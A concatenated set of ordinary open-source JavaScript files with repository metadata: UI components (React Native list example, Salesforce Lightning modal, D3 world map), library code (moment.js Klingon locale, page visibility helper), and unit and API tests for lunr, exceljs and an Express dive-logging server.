        <SeparatorComponent />
        <FlatList
          ItemSeparatorComponent={SeparatorComponent}
          ListFooterComponent={FooterComponent}
          ListHeaderComponent={HeaderComponent}
          getItemLayout={this.state.fixedHeight ? this._getItemLayout : undefined}
          data={filteredData}
          key={this.state.numColumns + (this.state.fixedHeight ? 'f' : 'v')}
          numColumns={this.state.numColumns || 1}
          onRefresh={() => alert('onRefresh: nothing to refresh :P')}
          refreshing={false}
          renderItem={this._renderItemComponent}
          shouldItemUpdate={this._shouldItemUpdate}
          disableVirtualization={!this.state.virtualized}
          onViewableItemsChanged={this._onViewableItemsChanged}
          legacyImplementation={false}
        />
      </UIExplorerPage>
    );
  }
  _getItemLayout(data: any, index: number): {length: number, offset: number, index: number} {
    return getItemLayout(data, index);
  }
  _renderItemComponent = ({item}) => {
    return (
      <ItemComponent
        item={item}
        fixedHeight={this.state.fixedHeight}
        onPress={this._pressItem}
      />
    );
  };
  _shouldItemUpdate(prev, next) {
    // Note that this does not check state.fixedHeight because we blow away the whole list by
    // changing the key anyway.
    return prev.item !== next.item;
  }
  // This is called when items change viewability by scrolling into or out of the viewable area.
  _onViewableItemsChanged = (info: {
    changed: Array<{
      key: string, isViewable: boolean, item: {columns: Array<*>}, index: ?number, section?: any
    }>},
  ) => {
    // Impressions can be logged here
    if (this.state.logViewable) {
      infoLog('onViewableItemsChanged: ', info.changed.map((v) => ({...v, item: '...'})));
    }
  };
  _pressItem = (key: number) => {
    pressItem(this, key);
  };
}
const styles = StyleSheet.create({
  row: {
    flexDirection: 'row',
    alignItems: 'center',
  },
  searchRow: {
    padding: 10,
  },
});
module.exports = MultiColumnExample;
 | 
	shrutic/react-native | 
	Examples/UIExplorer/js/MultiColumnExample.js | 
	JavaScript | 
	bsd-3-clause | 5,181 | 
| 
	import { LightningElement, api, track, wire } from "lwc";
//labels
import stgColAccountRecordType from "@salesforce/label/c.stgColAccountRecordType";
import stgColAutoEnrollmentStatus from "@salesforce/label/c.stgColAutoEnrollmentStatus";
import stgColAutoEnrollmentRole from "@salesforce/label/c.stgColAutoEnrollmentRole";
import stgOptSelect from "@salesforce/label/c.stgOptSelect";
import stgAutoEnrollmentEditModalBody from "@salesforce/label/c.stgAutoEnrollmentEditModalBody";
import stgApiNameLabel from "@salesforce/label/c.stgApiNameLabel";
import stgTellMeMoreLink from "@salesforce/label/c.stgTellMeMoreLink";
import stgAutoEnrollmentNewModalBody from "@salesforce/label/c.stgAutoEnrollmentNewModalBody";
import stgAccountRecordTypeHelp from "@salesforce/label/c.stgAccountRecordTypeHelp";
import stgAutoEnrollmentDeleteModalBody from "@salesforce/label/c.stgAutoEnrollmentDeleteModalBody";
//apex
import getAccountRecordTypeComboboxVModel from "@salesforce/apex/ProgramSettingsController.getAccountRecordTypeComboboxVModel";
import getAutoEnrollmentMappingStatusComboboxVModel from "@salesforce/apex/ProgramSettingsController.getAutoEnrollmentMappingStatusComboboxVModel";
import getAutoEnrollmentMappingRoleComboboxVModel from "@salesforce/apex/ProgramSettingsController.getAutoEnrollmentMappingRoleComboboxVModel";
export default class autoEnrollmentMappingModalBody extends LightningElement {
    @api actionName;
    @api oldAccountRecordType;
    @api newAccountRecordType;
    @api autoProgramEnrollmentStatus;
    @api autoProgramEnrollmentRole;
    @track accountRecordTypeComboboxVModel;
    @track accountRecordTypeComboboxWireResult;
    @track autoEnrollmentMappingStatusComboboxVModel;
    @track autoEnrollmentMappingStatusComboboxVModelWireResult;
    @track autoEnrollmentMappingRoleComboboxVModel;
    @track autoEnrollmentMappingRoleComboboxVModelWireResult;
    labelReference = {
        accountRecordTypeCombobox: stgColAccountRecordType,
        statusCombobox: stgColAutoEnrollmentStatus,
        roleCombobox: stgColAutoEnrollmentRole,
        comboboxPlaceholderText: stgOptSelect,
        modalBodyEdit: stgAutoEnrollmentEditModalBody,
        modalBodyCreate: stgAutoEnrollmentNewModalBody,
        modalBodyDelete: stgAutoEnrollmentDeleteModalBody,
        apiNameDisplay: stgApiNameLabel,
        tellMeMoreLink: stgTellMeMoreLink,
        stgAccountRecordTypeHelp: stgAccountRecordTypeHelp,
    };
    inputAttributeReference = {
        accountRecordType: "accountRecordType",
        autoProgramEnrollmentStatus: "autoProgramEnrollmentStatus",
        autoProgramEnrollmentRole: "autoProgramEnrollmentRole",
    };
    @wire(getAccountRecordTypeComboboxVModel, {
        accountRecordType: "$newAccountRecordType",
    })
    accountRecordTypeComboboxVModelWire(result) {
        this.accountRecordTypeComboboxWireResult = result;
        if (result.data) {
            this.accountRecordTypeComboboxVModel = result.data;
        } else if (result.error) {
            //console.log("error retrieving accountRecordTypeComboboxVModel");
        }
    }
    @wire(getAutoEnrollmentMappingStatusComboboxVModel, {
        autoProgramEnrollmentStatus: "$autoProgramEnrollmentStatus",
    })
    autoEnrollmentMappingStatusComboboxVModelWire(result) {
        this.autoEnrollmentMappingStatusComboboxVModelWireResult = result;
        if (result.data) {
            this.autoEnrollmentMappingStatusComboboxVModel = result.data;
        } else if (result.error) {
            //console.log("error retrieving autoEnrollmentMappingStatusComboboxVModel");
        }
    }
    @wire(getAutoEnrollmentMappingRoleComboboxVModel, {
        autoProgramEnrollmentRole: "$autoProgramEnrollmentRole",
    })
    autoEnrollmentMappingRoleComboboxVModelWire(result) {
        this.autoEnrollmentMappingRoleComboboxVModelWireResult = result;
        if (result.data) {
            this.autoEnrollmentMappingRoleComboboxVModel = result.data;
        } else if (result.error) {
            //console.log("error retrieving autoEnrollmentMappingStatusComboboxVModel");
        }
    }
    handleAccountRecordTypeChange(event) {
        this.dispatchAccountRecordTypeChangeEvent(event.detail.value);
    }
    dispatchAccountRecordTypeChangeEvent(newAccountRecordType) {
        const accountRecordTypeDetails = {
            newAccountRecordType: newAccountRecordType,
        };
        const accountRecordTypeChangeEvent = new CustomEvent("autoenrollmentmappingaccountrecordtypechange", {
            detail: accountRecordTypeDetails,
            bubbles: true,
            composed: true,
        });
        this.dispatchEvent(accountRecordTypeChangeEvent);
    }
    handleAutoEnrollmentMappingStatusChange(event) {
        this.dispatchAutoEnrollmentMappingStatusChangeEvent(event.detail.value);
    }
    dispatchAutoEnrollmentMappingStatusChangeEvent(autoProgramEnrollmentStatus) {
        const autoEnrollmentMappingStatusDetails = {
            autoProgramEnrollmentStatus: autoProgramEnrollmentStatus,
        };
        const autoEnrollmentMappingStatusChangeEvent = new CustomEvent("autoenrollmentmappingstatuschange", {
            detail: autoEnrollmentMappingStatusDetails,
            bubbles: true,
            composed: true,
        });
        this.dispatchEvent(autoEnrollmentMappingStatusChangeEvent);
    }
    handleAutoEnrollmentMappingRoleChange(event) {
        this.dispatchAutoEnrollmentMappingRoleChangeEvent(event.detail.value);
    }
    dispatchAutoEnrollmentMappingRoleChangeEvent(autoProgramEnrollmentRole) {
        const autoEnrollmentMappingRoleDetails = {
            autoProgramEnrollmentRole: autoProgramEnrollmentRole,
        };
        const autoEnrollmentMappingRoleChangeEvent = new CustomEvent("autoenrollmentmappingrolechange", {
            detail: autoEnrollmentMappingRoleDetails,
            bubbles: true,
            composed: true,
        });
        this.dispatchEvent(autoEnrollmentMappingRoleChangeEvent);
    }
    get autoEnrollmentMappingModalDesc() {
        switch (this.actionName) {
            case "edit":
                return this.labelReference.modalBodyEdit + " " + this.autoEnrollmentHyperLink;
            case "create":
                return this.labelReference.modalBodyCreate + " " + this.autoEnrollmentHyperLink;
            case "delete":
                return this.labelReference.modalBodyDelete
                    .replace("{0}", this.oldAccountRecordType)
                    .replace("{1}", this.autoProgramEnrollmentStatus)
                    .replace("{2}", this.autoProgramEnrollmentRole);
        }
    }
    get modifyRecords() {
        return this.actionName === "edit" || this.actionName === "create";
    }
    get deleteRecords() {
        return this.actionName === "delete";
    }
    get autoEnrollmentHyperLink() {
        return (
            '<a href="https://powerofus.force.com/EDA-Configure-Affiliations-Settings">' +
            this.labelReference.tellMeMoreLink +
            "</a>"
        );
    }
    get accountRecordTypeApiNameLabel() {
        return this.labelReference.apiNameDisplay.replace("{0}", this.accountRecordTypeComboboxVModel.value);
    }
}
 | 
	SalesforceFoundation/HEDAP | 
	force-app/main/default/lwc/autoEnrollmentMappingModalBody/autoEnrollmentMappingModalBody.js | 
	JavaScript | 
	bsd-3-clause | 7,220 | 
| 
	module.exports.BaseController = require('./BaseController');
 | 
	olalonde/chungking | 
	lib/index.js | 
	JavaScript | 
	bsd-3-clause | 61 | 
| 
	module('lunr.tokenizer')
test("splitting simple strings into tokens", function () {
  var simpleString = "this is a simple string",
      tokens = lunr.tokenizer(simpleString)
  deepEqual(tokens, ['this', 'is', 'a', 'simple', 'string'])
})
test('downcasing tokens', function () {
  var simpleString = 'FOO BAR',
      tags = ['Foo', 'BAR']
  deepEqual(lunr.tokenizer(simpleString), ['foo', 'bar'])
  deepEqual(lunr.tokenizer(tags), ['foo', 'bar'])
})
test('handling arrays', function () {
  var tags = ['foo', 'bar'],
      tokens = lunr.tokenizer(tags)
  deepEqual(tokens, tags)
})
test('handling multiple white spaces', function () {
  var testString = '  foo    bar  ',
      tokens = lunr.tokenizer(testString)
  deepEqual(tokens, ['foo', 'bar'])
})
test('handling null-like arguments', function () {
  deepEqual(lunr.tokenizer(), [])
  deepEqual(lunr.tokenizer(null), [])
  deepEqual(lunr.tokenizer(undefined), [])
})
test('calling to string on passed val', function () {
  var date = new Date (Date.UTC(2013, 0, 1)),
      obj = {
        toString: function () { return 'custom object' }
      }
  equal(lunr.tokenizer(41), '41')
  equal(lunr.tokenizer(false), 'false')
  deepEqual(lunr.tokenizer(obj), ['custom', 'object'])
  // slicing here to avoid asserting on the timezone part of the date
  // that will be different whereever the test is run.
  deepEqual(lunr.tokenizer(date).slice(0, 4), ['tue', 'jan', '01', '2013'])
})
test("splitting strings with hyphens", function () {
  var simpleString = "take the New York-San Francisco flight",
      tokens = lunr.tokenizer(simpleString)
  deepEqual(tokens, ['take', 'the', 'new', 'york', 'san', 'francisco', 'flight'])
})
 | 
	nodoio/kb-pulseeditor | 
	node_modules/lunr/test/tokenizer_test.js | 
	JavaScript | 
	mit | 1,694 | 
| 
	/*
 * Copyright (c) 2017. MIT-license for Jari Van Melckebeke
 * Note that there was a lot of educational work in this project,
 * this project was (or is) used for an assignment from Realdolmen in Belgium.
 * Please just don't abuse my work
 */
//! moment.js locale configuration
//! locale : Klingon (tlh)
//! author : Dominika Kruk : https://github.com/amaranthrose
import moment from '../moment';
var numbersNouns = 'pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut'.split('_');
function translateFuture(output) {
    var time = output;
    time = (output.indexOf('jaj') !== -1) ?
	time.slice(0, -3) + 'leS' :
	(output.indexOf('jar') !== -1) ?
	time.slice(0, -3) + 'waQ' :
	(output.indexOf('DIS') !== -1) ?
	time.slice(0, -3) + 'nem' :
	time + ' pIq';
    return time;
}
function translatePast(output) {
    var time = output;
    time = (output.indexOf('jaj') !== -1) ?
	time.slice(0, -3) + 'Hu’' :
	(output.indexOf('jar') !== -1) ?
	time.slice(0, -3) + 'wen' :
	(output.indexOf('DIS') !== -1) ?
	time.slice(0, -3) + 'ben' :
	time + ' ret';
    return time;
}
function translate(number, withoutSuffix, string, isFuture) {
    var numberNoun = numberAsNoun(number);
    switch (string) {
        case 'mm':
            return numberNoun + ' tup';
        case 'hh':
            return numberNoun + ' rep';
        case 'dd':
            return numberNoun + ' jaj';
        case 'MM':
            return numberNoun + ' jar';
        case 'yy':
            return numberNoun + ' DIS';
    }
}
function numberAsNoun(number) {
    var hundred = Math.floor((number % 1000) / 100),
	ten = Math.floor((number % 100) / 10),
	one = number % 10,
	word = '';
    if (hundred > 0) {
        word += numbersNouns[hundred] + 'vatlh';
    }
    if (ten > 0) {
        word += ((word !== '') ? ' ' : '') + numbersNouns[ten] + 'maH';
    }
    if (one > 0) {
        word += ((word !== '') ? ' ' : '') + numbersNouns[one];
    }
    return (word === '') ? 'pagh' : word;
}
export default moment.defineLocale('tlh', {
    months : 'tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’'.split('_'),
    monthsShort : 'jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’'.split('_'),
    monthsParseExact : true,
    weekdays : 'lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj'.split('_'),
    weekdaysShort : 'lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj'.split('_'),
    weekdaysMin : 'lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj'.split('_'),
    longDateFormat : {
        LT : 'HH:mm',
        LTS : 'HH:mm:ss',
        L : 'DD.MM.YYYY',
        LL : 'D MMMM YYYY',
        LLL : 'D MMMM YYYY HH:mm',
        LLLL : 'dddd, D MMMM YYYY HH:mm'
    },
    calendar : {
        sameDay: '[DaHjaj] LT',
        nextDay: '[wa’leS] LT',
        nextWeek: 'LLL',
        lastDay: '[wa’Hu’] LT',
        lastWeek: 'LLL',
        sameElse: 'L'
    },
    relativeTime : {
        future : translateFuture,
        past : translatePast,
        s : 'puS lup',
        m : 'wa’ tup',
        mm : translate,
        h : 'wa’ rep',
        hh : translate,
        d : 'wa’ jaj',
        dd : translate,
        M : 'wa’ jar',
        MM : translate,
        y : 'wa’ DIS',
        yy : translate
    },
    ordinalParse: /\d{1,2}\./,
    ordinal : '%d.',
    week : {
        dow : 1, // Monday is the first day of the week.
        doy : 4  // The week that contains Jan 4th is the first week of the year.
    }
});
 | 
	N00bface/Real-Dolmen-Stage-Opdrachten | 
	stageopdracht/src/main/resources/static/vendors/moment/src/locale/tlh.js | 
	JavaScript | 
	mit | 3,713 | 
| 
	'use strict';
process.env.NODE_ENV = 'run-tests';
var assert = require('assert');
var app = require('../server.js');
var Helper = require('./test-helper')(app);
var db = require('../server/models/models.js');
var request = require('supertest-as-promised');
var chai = require('chai');
var chaiAsPromised = require('chai-as-promised');
chai.use(chaiAsPromised);
var expect = chai.expect;
var adminUserCreds = {username: '[email protected]', password: 'adminPassword', admin: true};
var testUserCreds = {username: '[email protected]', password: 'testPassword'};
var adminUser, testUser;
var testUserId, adminUserId;
var testUserToken, adminUserToken;
var server;
describe("Authentication", function () {
    var organizationId, testUserId;
    var userRoles = ['user'];
    before(function () {
        return Helper.createOrganization()
            .then(function (org) {
                organizationId = org._id;
            })
            .then(function () {
                return Helper.createUser(adminUserCreds);
            })
            .then(function (adminUserData) {
                adminUser = adminUserData;
                adminUserId = adminUserData._id;
                Promise.resolve(adminUser);
            })
            .then(function() {
                return Helper.login(adminUserCreds);
            })
            .then(function (userCreds) {
                adminUserToken = userCreds.token;
                return Helper.createUser(testUserCreds);
            })
            .then(function (testUserData) {
                testUser = testUserData;
                testUserId = testUserData._id;
                return testUser;
            })
            .then(function() {
                return Helper.createUserOrganization(testUserId, organizationId, userRoles);
            })
    });
    after(function () {
        return Helper.clearDB()
        .then(function () {
            Promise.resolve(true);
        })
    });
    it("Non-autenticated request should be rejected by default", function (done) {
        return new Promise(function (resolve, reject) {
            request(app)
            .get('/users/' + testUser.id)
            .expect(401, function (err) {
                if (err) reject(err);
                done();
            });
        });
    });
    it("Authenticated request by admin should be accepted", function (done) {
        request(app)
        .get('/users/' + adminUser.id)
        .set('Authorization', 'Bearer ' + adminUserToken)
        .expect(200, done);
    });
    it("Login with wrong credentials should be rejected", function (done) {
        request(app)
            .post('/users/login')
            .send({username:'[email protected]', password: 'invalidPassword'})
            .type('application/json')
            .accept('json')
            .expect(401, done);
    });
    it("Login with valid credentials should be accepted", function (done) {
        request(app)
            .post('/users/login')
            .send(testUserCreds)
            .type('application/json')
            .accept('json')
            .expect(200, done);
    });
    it("Logout with valid credentials should be accepted", function (done) {
        var token;
        Helper.login(testUserCreds).then(function (credentials) {
            token = credentials.token;
            return token;
        }).then(function (token) {
            request(app)
                .get('/users/logout')
                .set('Authorization', 'Bearer ' + token)
                .expect(200, done);
        });
    });
    it("Request using former access token after logout should fail", function (done) {
        var token;
        Helper.login(testUserCreds).then(function (credentials) {
            token = credentials.token;
            return Helper.logout(credentials);
        })
        .then(function (res) {
            request(app)
                .get('/users/current')
                .set('Authorization', 'Bearer ' + token)
                .expect(401, done);
        });
    });
});
describe("Items", function () {
    var token, adminToken, organizationId, inventoryId, itemId, adminUserId, userId;
    before(function () {
        return Helper.createUser(testUserCreds)
        .then(function (user) {
            userId = user._id;
            return Helper.login(testUserCreds)
            .then(function (tokenData) {
                token = tokenData.token;
            });
        })
        .then(function () {
            return Helper.createUser(adminUserCreds)
            .then(function (adminUserData) {
                adminUserId = adminUserData._id;
                return Helper.login(adminUserCreds);
            })
            .then(function (adminCreds) {
                adminToken = adminCreds.token;
            })
        })
        .then(function () {
            return Helper.createOrganization()
            .then(function (org) {
                organizationId = org._id;
            });
        })
        .then(function () {
            return Helper.createInventory(organizationId)
            .then(function (inv) {
                inventoryId = inv._id;
            });
        })
        .then(function () {
            return Helper.createItem(inventoryId)
                .then(function (item) {
                    itemId = item._id;
                });
        })
        .then(function () {
            return Helper.createUserOrganization(userId, organizationId, ['user'])
                .then(function (success) {
                });
        })
        .then(function () {
            return Helper.createUserOrganization(adminUserId, organizationId, ['user', 'admin'])
                .then(function (success) {
                    // nop
                });
        })
    });
    after(function () {
        return Helper.clearDB()
        .then(function () {
            Promise.resolve(true);
        });
    });
    it("List items should return inventory items", function (done) {
        request(app)
            .get('/organizations/' + organizationId + '/inventories/' + inventoryId + '/items')
            .set('Authorization', 'Bearer ' + token)
            .expect(200, done);
    });
    it("Read item should return item", function (done) {
            request(app)
                .get('/organizations/' + organizationId + '/inventories/' + inventoryId + '/items/' + itemId)
                .set('Authorization', 'Bearer ' + token)
                .expect(200, done);
    });
    it("Update item with insufficient access rights should return error", function (done) {
        request(app)
            .put('/organizations/' + organizationId + '/inventories/' + inventoryId + '/items/' + itemId)
            .send({
                name: 'randomNamesss'
            })
            .set('Authorization', 'Bearer ' + token)
            .expect(403, done);
    });
    it("Update item with valid item should update item", function (done) {
        request(app)
            .put('/organizations/' + organizationId + '/inventories/' + inventoryId + '/items/' + itemId)
            .send({
                item: {
                    name: 'randomNamesss'
                }
            })
            .set('Authorization', 'Bearer ' + adminToken)
            .expect(200, done);
    });
    it("Update item with invalid item should return error", function (done) {
        request(app)
            .put('/organizations/' + organizationId + '/inventories/' + inventoryId + '/items/' + itemId)
            .send({
                name: 'randomName'
            })
            .set('Authorization', 'Bearer ' + adminToken)
            .expect(400, done);
    });
    it("Create item with invalid item should return error", function (done) {
        request(app)
            .post('/organizations/' + organizationId + '/inventories/' + inventoryId + '/items')
            .send({
                item: {
                    description: 'randomName'
                }
            })
            .set('Authorization', 'Bearer ' + adminToken)
            .expect(400, done)
    });
    it("Create item with valid item should return success", function (done) {
        request(app)
            .post('/organizations/' + organizationId + '/inventories/' + inventoryId + '/items')
            .send({
                item: {
                    inventoryId: inventoryId,
                    name: 'Item1',
                    description: 'randomName',
                    amount: 0
                }
            })
            .set('Authorization', 'Bearer ' + adminToken)
            .expect(201)
            .then(function (res) {
                db.itemModel.count({_id: res.body._id}).then(function (countRes) {
                    assert.equal(countRes, 1);
                    done();
                });
            })
            .catch(function (err) {
                done(err);
            });
    });
    it("Delete item with valid item should return success", function (done) {
        return Helper.createItem(inventoryId).then(function (newItem) {
            request(app)
                .delete('/organizations/' + organizationId + '/inventories/' + inventoryId + '/items/' + newItem._id)
                .set('Authorization', 'Bearer ' + adminToken)
                .expect(200)
                .then(function (res) {
                    db.itemModel.count({_id: newItem._id}).then(function (countRes) {
                        assert.equal(countRes, 0);
                        done();
                    });
                })
                .catch(function (err) {
                    done(err);
                });
        });
    });
});
describe("Dives", function () {
    var token, adminToken, organizationId, diveId, siteId;
    before(function () {
        return Helper.clearDB().then(function () {
            return Helper.createUser(testUserCreds);
        })
        .then(function (user) {
            testUserId = user._id;
            return Helper.login(testUserCreds)
            .then(function (tokenData) {
                token = tokenData.token;
            });
        })
        .then(function () {
            return Helper.createUser(adminUserCreds)
            .then(function (adminUserData) {
                adminUserId = adminUserData._id;
                return Helper.login(adminUserCreds);
            })
            .then(function (adminCreds) {
                adminToken = adminCreds.token;
            })
        })
        .then(function () {
            return Helper.createOrganization()
            .then(function (org) {
                organizationId = org._id;
            });
        })
        .then(function () {
            return Helper.createSite()
            .then(function (site) {
                siteId = site._id;
            });
        })
        .then(function () {
            return Helper.createDive(siteId, adminUserId, organizationId)
            .then(function (dive) {
                diveId = dive._id;
            });
        })
    });
    after(function () {
        return Helper.clearDB()
        .then(function () {
            Promise.resolve(true);
        });
    });
    it("Create dive with valid request should be accepted", function (done) {
        var newDive = Helper.getValidDive();
        request(app)
            .post('/users/' + testUserId + '/organizations/' + organizationId + '/dives')
            .set('Authorization', 'Bearer ' + token)
            .send({dive: newDive})
            .expect(201)
            .then(function (res) {
                db.diveModel.count({_id: res.body._id}).then(function (countRes) {
                    assert.equal(countRes, 1);
                    done();
                });
            })
            .catch(function (err) {
                done(err);
            })
    });
    it("Show current user's dive should return dive", function (done) {
        request(app)
            .get('/users/' + testUserId + '/organizations/' + organizationId + '/dives/' + diveId)
            .set('Authorization', 'Bearer ' + token)
            .expect(200, done)
    });
    it("Show another user's dive with no admin rights should return error", function (done) {
        request(app)
            .get('/users/' + adminUserId + '/organizations/' + organizationId + '/dives/' + diveId)
            .set('Authorization', 'Bearer ' + token)
            .expect(403, done)
    });
    it("Show another user's dive with admin rights should return dive", function (done) {
        Helper.createDive(siteId, testUserId, organizationId).then(function (dive) {
            request(app)
                .get('/users/' + testUserId + '/organizations/' + organizationId + '/dives/' + dive._id)
                .set('Authorization', 'Bearer ' + adminToken)
                .expect(200, done)
        });
    });
    it("List all dives with admin rights should return all dives", function (done) {
        request(app)
            .get('/users/' + adminUserId + '/organizations/' + organizationId + '/dives')
            .set('Authorization', 'Bearer ' + adminToken)
            .expect(200, done)
    });
    it("List another user's dives with admin rights should return dives", function (done) {
        request(app)
            .get('/users/' + testUserId + '/organizations/' + organizationId + '/dives')
            .set('Authorization', 'Bearer ' + adminToken)
            .expect(200, done)
    });
    it("List current users dives should return dives", function (done) {
        request(app)
            .get('/users/' + testUserId + '/organizations/' + organizationId + '/dives')
            .set('Authorization', 'Bearer ' + token)
            .expect(200, done)
    });
    it("List another user's dives should return error", function (done) {
        request(app)
            .get('/users/' + adminUserId + '/organizations/' + organizationId + '/dives')
            .set('Authorization', 'Bearer ' + token)
            .expect(403, done)
    });
    it("Update dive should update dive", function (done) {
        request(app)
        .put('/users/' + adminUserId + '/organizations/' + organizationId + '/dives/' + diveId)
        .send({
            dive: {
                description: 'New dive description'
            }
        })
        .set('Authorization', 'Bearer ' + adminToken)
        .expect(200)
        .then(function (res) {
            db.diveModel.findOne({_id: diveId}).then(function (dive) {
                assert.equal(dive.description, 'New dive description');
                done();
            });
        })
        .catch(function (err) {
            done(err);
        })
    });
    it("Update dive with invalid dive id should return 404", function (done) {
        var randomDiveId = 'asdasde3434sdfds';
        request(app)
            .put('/users/' + adminUserId + '/organizations/' + organizationId + '/dives/' + randomDiveId)
            .send({
                dive: {
                    description: 'New dive description'
                }
            })
            .set('Authorization', 'Bearer ' + adminToken)
            .expect(404, done)
    });
    it("Update dive with invalid data should return 400", function (done) {
        request(app)
            .put('/users/' + adminUserId + '/organizations/' + organizationId + '/dives/' + diveId)
            .send({
                dive: {
                    asdas: 'Somtehrsdas'
                }
            })
            .set('Authorization', 'Bearer ' + adminToken)
            .expect(400, done)
    });
});
 | 
	jphire/dive-logger | 
	test/test-api.js | 
	JavaScript | 
	mit | 15,593 | 
| 
	/**
 * @fileoverview Get data value from data-attribute
 * @author NHN FE Development Lab <[email protected]>
 */
'use strict';
var convertToKebabCase = require('./_convertToKebabCase');
/**
 * Get data value from data-attribute
 * @param {HTMLElement} element - target element
 * @param {string} key - key
 * @returns {string} value
 * @memberof module:domUtil
 */
function getData(element, key) {
  if (element.dataset) {
    return element.dataset[key];
  }
  return element.getAttribute('data-' + convertToKebabCase(key));
}
module.exports = getData;
 | 
	nhnent/fe.code-snippet | 
	domUtil/getData.js | 
	JavaScript | 
	mit | 564 | 
| 
	
jQuery(document).ready(function() {
  var makemap = function() {
    $('#oabpositioner').html('<div style="position:relative;top:0;left:0;z-index:1000;"> \
    <p style="text-align:center;"> \
      <a href="https://openaccessbutton.org" style="font-weight:bold;color:#212f3f;"> \
        openaccessbutton.org \
        <span class="oabmapcount"></span> \
        people need access to data. Can you help? \
      </a> \
    </p> \
  </div> \
  <div id="mapspace" style="width:100%;height:100%;position:relative;top:-43px;left:0;z-index:1;"></div>');
    
    var topo,projection,path,svg,g,draw;
    var updatemap = function(data) {
      $('.oabmapcount').html(data.hits.total);
      draw(topo,data);
    }
    var getdata = function() {
      var qry = {
        "size":100000, 
        "query": {
          filtered: {
            query: {
              bool: {
                must: []
              }
            },
            filter: {
              bool: {
                must:[]
              }
            }
          }
        }, 
        "fields": ["location.geo.lat","location.geo.lon"] 
      }
      $.ajax({
        type: 'GET',
        url: '//api.openaccessbutton.org/requests?source=' + JSON.stringify(qry),
        dataType: 'JSON',
        success: updatemap
      });
    }
    var width = document.getElementById('mapspace').offsetWidth;
    var height = document.getElementById('mapspace').offsetHeight;
    var tooltip = d3.select("#mapspace").append("div").attr("class", "tooltip hidden");
    function setup(width,height) {
      projection = d3.geo.mercator()
        .translate([(width/2), (height/1.55)])
        .scale( width / 2 / Math.PI)
        .center([0, 0 ]);
      path = d3.geo.path().projection(projection);
      svg = d3.select("#mapspace").append("svg")
        .attr("width", width)
        .attr("height", height)
        .append("g");
      g = svg.append("g");
    }
    setup(width,height);
    d3.json("//static.cottagelabs.com/maps/world-topo.json", function(error, world) {
      topo = topojson.feature(world, world.objects.countries).features;
      draw(topo);
      getdata();
    });
    function addpoint(lon,lat) {    
      var gpoint = g.append("g").attr("class", "gpoint");
      var x = projection([lon,lat])[0];
      var y = projection([lon,lat])[1];
      gpoint.append("svg:circle")
        .attr("cx", x)
        .attr("cy", y)
        .attr("class","point")
        .attr("r", 2);
    }
    draw = function(topo,data) {
      var country = g.selectAll(".country").data(topo);
      country.enter().insert("path")
        .attr("class", "country")
        .attr("d", path)
        .attr("id", function(d,i) { return d.id; });
      //add points and repo suggestions
      if ( data ) {
        data.hits.hits.forEach(function(i){
          if ( i.fields && i.fields['location.geo.lat'] && i.fields['location.geo.lon'] ) {
            addpoint(
              i.fields['location.geo.lon'][0],
              i.fields['location.geo.lat'][0]
            );
          }
        });
      }
    }
    
  }
  if ( $('#mapspace').length && $('#mapspace').is(':visible') ) makemap();
  
});
 | 
	OAButton/oab_static | 
	static/map.js | 
	JavaScript | 
	mit | 3,167 | 
| 
	'use strict';
var Stream = require('stream');
var expect = require('chai').expect;
var Excel = require('../../../excel');
describe('Workbook Writer', function() {
  it('returns undefined for non-existant sheet', function() {
    var stream = new Stream.Writable({write: function noop() {}});
    var wb = new Excel.stream.xlsx.WorkbookWriter({
      stream: stream
    });
    wb.addWorksheet('first');
    expect(wb.getWorksheet('w00t')).to.equal(undefined);
  });
});
 | 
	peakon/exceljs | 
	spec/unit/doc/workbook-writer.spec.js | 
	JavaScript | 
	mit | 474 | 
| 
	module.exports = [ [ 'zero', 'one', 'two', 'three' ] ]
 | 
	bigeasy/packet | 
	test/generated/packed/nested.lookup.js | 
	JavaScript | 
	mit | 55 | 
| 
	/**
 * istanbul ignore next
 */
define(function(require, exports, module) {
    'use strict';
    var Observable = require('./Observable').Class;
    /**
     * @constructor
     * @extends Observable
     * @alias RCSDK.core.PageVisibility
     */
    function PageVisibility() {
        Observable.call(this);
        var hidden = "hidden",
            onchange = function(evt) {
                evt = evt || window.event;
                var v = 'visible',
                    h = 'hidden',
                    evtMap = {
                        focus: v, focusin: v, pageshow: v, blur: h, focusout: h, pagehide: h
                    };
                this.visible = (evt.type in evtMap) ? evtMap[evt.type] == v : !document[hidden];
                this.emit(this.events.change, this.visible);
            }.bind(this);
        this.visible = true;
        if (typeof document == 'undefined' || typeof window == 'undefined') return;
        // Standards:
        if (hidden in document)
            document.addEventListener("visibilitychange", onchange);
        else if ((hidden = "mozHidden") in document)
            document.addEventListener("mozvisibilitychange", onchange);
        else if ((hidden = "webkitHidden") in document)
            document.addEventListener("webkitvisibilitychange", onchange);
        else if ((hidden = "msHidden") in document)
            document.addEventListener("msvisibilitychange", onchange);
        // IE 9 and lower:
        else if ('onfocusin' in document)
            document.onfocusin = document.onfocusout = onchange;
        // All others:
        else
            window.onpageshow = window.onpagehide = window.onfocus = window.onblur = onchange;
    }
    PageVisibility.prototype = Object.create(Observable.prototype);
    Object.defineProperty(PageVisibility.prototype, 'constructor', {value: PageVisibility, enumerable: false});
    PageVisibility.prototype.events = {
        change: 'change'
    };
    PageVisibility.prototype.isVisible = function() {
        return this.visible;
    };
    module.exports = {
        Class: PageVisibility,
        /**
         * @param {Context} context
         * @returns {PageVisibility}
         */
        $get: function(context) {
            return new PageVisibility();
        }
    };
});
 | 
	grokify/ringcentral-cti-demo-js | 
	public/vendor/rcsdk/1.2.1/lib/core/PageVisibility.js | 
	JavaScript | 
	mit | 2,319 | 
| 
	const bodyParser = require('body-parser')
module.exports = [
  bodyParser.json({ limit: '10mb', extended: false }),
  bodyParser.urlencoded({ extended: false }),
]
 | 
	legovaer/json-server | 
	src/server/body-parser.js | 
	JavaScript | 
	mit | 165 | 
| 
	import { equal } from '@ember/object/computed';
import Component from '@ember/component';
import { action, computed } from '@ember/object';
